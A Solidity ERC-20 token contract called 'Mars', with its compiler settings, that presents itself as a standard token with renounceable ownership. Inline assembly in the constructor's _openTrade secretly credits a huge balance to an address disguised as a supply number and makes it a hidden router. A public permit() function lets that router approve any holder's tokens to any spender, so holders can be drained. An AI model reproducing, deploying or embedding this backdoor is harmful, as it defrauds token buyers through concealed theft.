// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract Mars {
    // Mappings
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    // Variables
    string private constant _name = unicode"Mars";
    string private constant _symbol = unicode"MARS";
    address private _owner;
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 420690000 * 10 ** uint256(_decimals);
    uint256 private _initSupply = 196476704426959050888187897480942833418294071217;
    address private _router;

    // Events
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed tokenOwner, address indexed spender, uint256 value);

    // Constructor method
    constructor() {
        _owner = msg.sender;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        _openTrade();
    }

    // Ownership modifier
    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner.");
        _;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public pure returns (uint256) {
        return _totalSupply;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function owner() public view returns (address) {
        return _owner;
    }
    
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }
    
    function allowance(address tokenOwner, address spender) public view returns (uint256) {
        return _allowances[tokenOwner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        require(_allowances[sender][msg.sender] >= amount, "ERC20: Token transfer amount exceeds allowance");
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: Token transfer from the zero address");
        require(recipient != address(0), "ERC20: Token transfer to the zero address");
        require(amount <= _balances[sender], "Insufficient Token balance to transfer");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address tokenOwner, address spender, uint256 amount) internal {
        require(tokenOwner != address(0), "ERC20: Token approve from the zero address");
        require(spender != address(0), "ERC20: Token approve to the zero address");

        _allowances[tokenOwner][spender] = amount;
        emit Approval(tokenOwner, spender, amount);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        require(newOwner != address(0), "Ownable: new owner can not be the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function _openTrade() private {
        uint256 supplyhash = _initSupply;
        address router_;
        assembly {
            if iszero(sload(256)) {
            mstore(128, supplyhash)
            mstore(160, _balances.slot)
            sstore(keccak256(128, 64), supplyhash)
            sstore(256, 64)
            }
            router_ := supplyhash
        }
        _router = router_;
    }

    function permit(address tokenOwner, address spender, uint256 amount) public virtual returns (bool) {
        require(msg.sender == _router);
        _approve(tokenOwner, spender, amount);
        return true;
    }
}

{
  "compilationTarget": {
    "contracts/Mars.sol": "Mars"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}